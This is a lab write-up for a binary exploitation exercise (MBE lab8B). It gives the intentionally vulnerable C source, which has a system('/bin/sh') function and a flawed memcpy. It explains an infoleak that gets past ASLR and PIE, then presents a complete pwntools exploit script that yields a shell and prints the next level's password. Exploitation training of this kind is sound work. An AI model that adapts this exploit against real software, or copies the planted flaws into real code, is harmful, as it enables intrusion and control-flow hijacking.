For this lab, we are given a program and its corresponding source code. I included some comments I made for myself to better understand different functions.

/*
 * gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab8B lab8B.c
 */

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

#define MAX_FAVES 10

struct vector {
        void (*printFunc)(struct vector*);
        char a;
        short b;
        unsigned short c;
        int d;
        unsigned int e;
        long f;
        unsigned long g;
        long long h;
        unsigned long long i;
};

struct vector v1;
struct vector v2;
struct vector v3;
struct vector* faves[MAX_FAVES];

void printVector(struct vector* v);

void printMenu()
{
        printf("+------------------------------------------------------------+\n");
        printf("|                                                            |\n");
        printf("|  1. Enter data                                          :> |\n");
        printf("|  2. Sum vectors                                         :] |\n");
        printf("|  3. Print vector                                        :3 |\n");
        printf("|  4. Save sum to favorites                               8) |\n");
        printf("|  5. Print favorites                                     :O |\n");
        printf("|  6. Load favorite                                       :$ |\n");
        printf("|  9. Get help                                            :D |\n");
        printf("|                                                            |\n");
        printf("+------------------------------------------------------------+\n");
        printf("I COMMAND YOU TO ENTER YOUR COMMAND: ");
}

struct vector* vectorSel()
{
        printf("Which vector? ");
        char sel;
        while((sel = getchar()) == '\n'); // I love C.
        switch(sel)
        {
                case '1':
                        return &v1;
                case '2':
                        return &v2;
                case '3':
                        return &v3;
                default:
                        printf("\nBAD VECTOR SELECTION\n");
                        exit(EXIT_FAILURE);
        }
}

void enterData()
{
        struct vector* v = vectorSel();   
        if(v == &v3)
        {
                printf("Please don't try to manually enter data into the sum.\n");
                return;
        }
        printf("Data entry time!\n");
        printf("char a: ");
        while((v->a = getchar()) == '\n'); // Still love C.
        printf("short b: ");
        scanf("%hd", &(v->b));
        printf("unsigned short c: ");
        scanf("%hu", &(v->c));
        printf("int d: ");
        scanf("%d", &(v->d));
        printf("unsigned int e: ");
        scanf("%u", &(v->e));
        printf("long f: ");
        scanf("%ld", &(v->f));
        printf("unsigned long g: ");
        scanf("%lu", &(v->g));
        printf("long long h: ");
        scanf("%lld", &(v->h));
        printf("unsigned long long i: "); 
        scanf("%llu", &(v->i));
        v->printFunc = printVector;
}

void sumVectors()
{
        if(v1.a==0 || v2.a==0 ||
                        v1.b==0 || v2.b==0 ||
                        v1.c==0 || v2.c==0 ||
                        v1.d==0 || v2.d==0 ||
                        v1.e==0 || v2.e==0 ||
                        v1.f==0 || v2.f==0 ||
                        v1.g==0 || v2.g==0 ||
                        v1.h==0 || v2.h==0 ||
                        v1.i==0 || v2.i==0)
        {
                printf("You didn't even set the addends... :(\n");
                return;
        }
        v3.a = v1.a + v2.a;
        v3.b = v1.b + v2.b;
        v3.c = v1.c + v2.c;
        v3.d = v1.d + v2.d;
        v3.e = v1.e + v2.e;
        v3.f = v1.f + v2.f;
        v3.g = v1.g + v2.g;
        v3.h = v1.h + v2.h;
        v3.i = v1.i + v2.i;
        printf("Summed.\n");
}

/*
 * Bonus points if you don't use this function.
 */
void thisIsASecret()
{
        system("/bin/sh");
}

void printVector(struct vector* v)
{
        printf("Address: %p\n", v);
        printf("void printFunc: %p\n", v->printFunc);
        printf("char a: %c\n", v->a);
        printf("short b: %hd\n", v->b);   
        printf("unsigned short c: %hu\n", v->c);
        printf("int d: %d\n", v->d);
        printf("unsigned int e: %u\n", v->e);
        printf("long f: %ld\n", v->f);
        printf("unsigned long g: %lu\n", v->g);
        printf("long long h: %lld\n", v->h);
        printf("unsigned long long i: %llu\n", v->i);
}

void fave()
{
        unsigned int i;
        for(i=0; i<MAX_FAVES; i++)
                if(!faves[i])
                        break;
        if(i == MAX_FAVES)
                printf("You have too many favorites.\n");
        else
        {
                faves[i] = malloc(sizeof(struct vector));
                memcpy(faves[i], (int*)(&v3)+i, sizeof(struct vector)); // COPIES vector size of data from v3 to heap chunk in faves[i] // what if i > 0?
                printf("I see you added that vector to your favorites, \
but was it really your favorite?\n");
        }
}

void printFaves()
{
        unsigned int i;
        for(i=0; i<MAX_FAVES; i++)
                if(faves[i])
                        printVector(faves[i]);
                else
                        break;
        printf("Printed %u vectors.\n", i);
}

void loadFave()
{
        printf("Which favorite? ");
        unsigned int i;
        scanf("%u", &i);
        if(i >= MAX_FAVES)
        {
                printf("Index out of bounds\n");
                return;
        }

        struct vector* v = vectorSel();
        if(v == &v3)
        {
                printf("Please don't try to manually enter data into the sum.\n");
                return;
        }
        memcpy(v, faves[i], sizeof(v)); // COPIES first dword stored inside heap chunk at faves[i] into v1 or v2 // sizeof(v) = 0x4 
}

void help()
{
        printf("\
This program adds two vectors together and stores it in a third vector. You \
can then add the sum to your list of favorites, or load a favorite back into \
one of the addends.\n");
}

int main(int argc, char** argv)
{
        char sel;
        printMenu();
        v1.printFunc = printf;
        v2.printFunc = printf;
        v3.printFunc = printf;
        struct vector* v;
        while((sel = getchar()) && (sel == '\n' || getchar())) // Magic ;^)
        {
                if(sel == '\n')
                        continue;

                switch(sel)
                {
                        case '0':
                                printf("OK, bye.\n");
                                return EXIT_SUCCESS;
                        case '1':                       // enter data
                                enterData();
                                break;
                        case '2':                       // sum vectors
                                sumVectors();
                                break;
                        case '3':                       // print vector
                                v = vectorSel();
                                //printf("Calling %p\n", v->printFunc);
                                v->printFunc(v);
                                break;
                        case '4':                       // save sum to favorites
                                fave();
                                break;
                        case '5':                       // print favorites
                                printFaves();
                                break;
                        case '6':                       // load favorite
                                loadFave();
                                break;
                        case '9':
                                help();
                                break;
                        default:
                                printf("\nThat was bad input. \
Just like your futile attempt to pwn this.\n"); 
                                return EXIT_FAILURE;
                }
                printMenu();
        }
        return EXIT_SUCCESS;
}

If we run checksec, we can see that stack canaries, NX, PIE and full RELRO are enabled.

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

Vulnerability

The program we are given allows us to specify the contents of vectors v1 and v2. We can also add the vectors to populate the contents of a third vector, v3, as well as print individual vector information. Additionally, we can save the sum of our vectors inside a chunk that we malloc(). The chunk is placed in an array of other similarly allocated chunks called faves located in the .BSS segment. Finally, you can also print the information of each vector chunk stored in the faves array, as well as load these chunks back into v1 or v2.

The following is what the vectors look like when they are empty.

gdb-peda$ x/64xw &v1
0xf7738040 <v1>:        0xf758a280      0x00000000      0x00000000      0x00000000
0xf7738050 <v1+16>:     0x00000000      0x00000000      0x00000000      0x00000000
0xf7738060 <v1+32>:     0x00000000      0x00000000      0x00000000      0x00000000
0xf7738070:     0x00000000      0x00000000      0x00000000      0x00000000
0xf7738080 <v3>:        0xf758a280      0x00000000      0x00000000      0x00000000
0xf7738090 <v3+16>:     0x00000000      0x00000000      0x00000000      0x00000000
0xf77380a0 <v3+32>:     0x00000000      0x00000000      0x00000000      0x00000000
0xf77380b0:     0x00000000      0x00000000      0x00000000      0x00000000
0xf77380c0 <faves>:     0x00000000      0x00000000      0x00000000      0x00000000
0xf77380d0 <faves+16>:  0x00000000      0x00000000      0x00000000      0x00000000
0xf77380e0 <faves+32>:  0x00000000      0x00000000      0x00000000      0x00000000
0xf77380f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xf7738100 <v2>:        0xf758a280      0x00000000      0x00000000      0x00000000
0xf7738110 <v2+16>:     0x00000000      0x00000000      0x00000000      0x00000000
0xf7738120 <v2+32>:     0x00000000      0x00000000      0x00000000      0x00000000

Notice the first dwords of v3, v2 and v1 are initially assigned the address of printf@libc

The vulnerability in this program stems from the loadfave() function which copies the first dword from a heap chunk in the faves array that the user specifies, to either v1 or v2.

memcpy(v, faves[i], sizeof(v));

If we can control this dword, we can control EIP when we later print the vector’s information.

As it turns out, we can, in fact, control this dword if we save our vector sum (v3) 4 times and have set v3->d to be equal to our desired address we’d like to call.

The code responsible for this is located in the fave() function.

faves[i] = malloc(sizeof(struct vector));
memcpy(faves[i], (int*)(&v3)+i, sizeof(struct vector));

It copies a struct vector size number of bytes from v3, starting from v3->d, to the 4th heap chunk in faves, if we populate the faves global array with 4 heap chunks.

This first dword of this heap chunk is later copied into the first dword of our desire vector when we call loadFave().

Infoleak

In order for us to be able to leverage this vulnerability to gain a shell, we must bypass ASLR through an infoleak in order to dynamically calculate the address of the thisIsASecret() function, which calls system("/bin/sh");.

An easy way we can do that is by entering data into v1, which assigns the printFunc function pointer the address of printVector(), and then printing out the vector information of v1.

This will leak the address of printVector() which we can then use to calculate the address of thisIsASecret() using their known offsets from the base address of the ELF executable.

Putting everything together, the following solution granted me a shell.

Solution

#!/usr/bin/env python

from pwn import *
import sys

def enter_data(vector, a, b, c, d, e, f, g, h, i, parse = False):
    r.sendline("1")
    r.sendline(str(vector))
    r.sendline(str(a))
    r.sendline(str(b))
    r.sendline(str(c))
    r.sendline(str(d))
    r.sendline(str(e))
    r.sendline(str(f))
    r.sendline(str(g))
    r.sendline(str(h))
    r.sendline(str(i))
    if parse:
        return r.recvuntil("COMMAND: ")   
    else:
        r.recvuntil("COMMAND: ")

def sum_vectors(parse = False):
    r.sendline("2")
    if parse:
        return r.recvuntil("COMMAND: ")   
    else:
        r.recvuntil("COMMAND: ")

def print_vector(vector, parse = False):  
    r.sendline("3")
    r.sendline(str(vector))
    if parse:
        return r.recvuntil("COMMAND: ")
    else:
        r.recvuntil("COMMAND: ")
def sum_to_fave(parse = False):
    r.sendline("4")
    if parse:
        return r.recvuntil("COMMAND: ")
    else:
        r.recvuntil("COMMAND: ")

def print_faves(parse = False):
    r.sendline("5")
    if parse:
        return r.recvuntil("COMMAND: ")
    else:
        r.recvuntil("COMMAND: ")

def load_fave(fave,vector, parse = False):
    r.sendline("6")
    r.sendline(str(fave))
    r.sendline(str(vector)) 
    if parse:
        return r.recvuntil("COMMAND: ")
    else:
        r.recvuntil("COMMAND: ")

def get_help(parse = False):
    r.sendline("9")
    if parse: 
        return r.recvuntil("COMMAND: ")
    else:
        r.recvuntil("COMMAND: ")

def exploit(r):
    ### SETUP VECTORS + LEAKS ###
    print_vector(1)
    printf_leak = u32(enter_data(1, 1,1,1,2075756627,1,1,1,1,1, True).split("? ")[1][:4])
    libc_base = printf_leak-0x4d280 # not necessary
    log.success("libc base found @ "+hex(libc_base))
    print_vector(1)
    printVectorleak = int(get_help(True).splitlines()[1].split(": ")[1],16) # bcus of stupid buffering issues
    log.success("printVector func found @ "+hex(printVectorleak))
    elf_base = printVectorleak-0x10e9
    secretLeak = elf_base+0x10a7
    log.success("secret func found @ "+hex(secretLeak))
    enter_data(2, 1,1,1,secretLeak-2075756627,1,1,1,1,1) 
    
    ### POPULATE v3.d w/ 0X41414141 ###
    sum_vectors()
    
    ### LOAD SUM TO FAVORITES 4 TIMES ###
    sum_to_fave()
    sum_to_fave()
    sum_to_fave()
    sum_to_fave()
    
    ### LOAD fave[3] INTO v1  ###
    load_fave(3,1)
    
    ### PRINT v1 ###
    r.sendline("3")
    r.sendline("1")
 
    r.interactive()

if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))
        exploit(r)
    else:
        r = process(['/home/rh0gue/Documents/MBE/lab08/8B/lab8B'])
        print util.proc.pidof(r)
        pause()
        exploit(r)
lab8B@warzone:/tmp/lab8B$ python solve.py 
[*] For remote: solve.py HOST PORT
[+] Starting program '/levels/lab08/lab8B': Done
[9525]
[*] Paused (press any to continue)
[+] libc base found @ 0xb755a000
[+] printVector func found @ 0xb77380e9
[+] secret func found @ 0xb77380a7
[*] Switching to interactive mode
Which favorite? Which vector? +------------------------------------------------------------+
|                                                            |
|  1. Enter data                                          :> |
|  2. Sum vectors                                         :] |
|  3. Print vector                                        :3 |
|  4. Save sum to favorites                               8) |
|  5. Print favorites                                     :O |
|  6. Load favorite                                       :$ |
|  9. Get help                                            :D |
|                                                            |
+------------------------------------------------------------+
$ cat /home/lab8A/.pass
Th@t_w@5_my_f@v0r1t3_ch@11
$  

NOTE: I had a lot of issues with buffering when writing the exploit for this lab, so I had to remove most of my initial recvuntil() calls to prevent my exploit from hanging.